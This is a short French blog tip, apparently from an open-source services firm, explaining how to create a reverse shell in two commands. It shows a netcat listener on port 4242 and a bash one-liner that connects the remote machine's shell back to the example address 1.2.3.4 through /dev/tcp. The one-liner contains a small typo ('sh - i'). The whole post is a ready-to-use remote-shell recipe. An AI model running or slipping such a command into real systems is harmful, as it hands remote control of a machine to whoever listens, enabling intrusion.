Votre société de services en logiciels libres

Créer un « reverse-shell » en 2 commandes

31 décembre 2020   

Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l’écoute du port souhaité :

$ nc -lvp 4242

(on suppose que l’adresse IP de cette machine est 1.2.3.4)

Sur la machine distante, sur laquelle vous souhaitez exécuter un « reverse-shell », vous lancez la commande suivante :

# bash -c "sh - i >&/dev/tcp/1.2.3.4/4242 0>&1"

…et le tour est joué !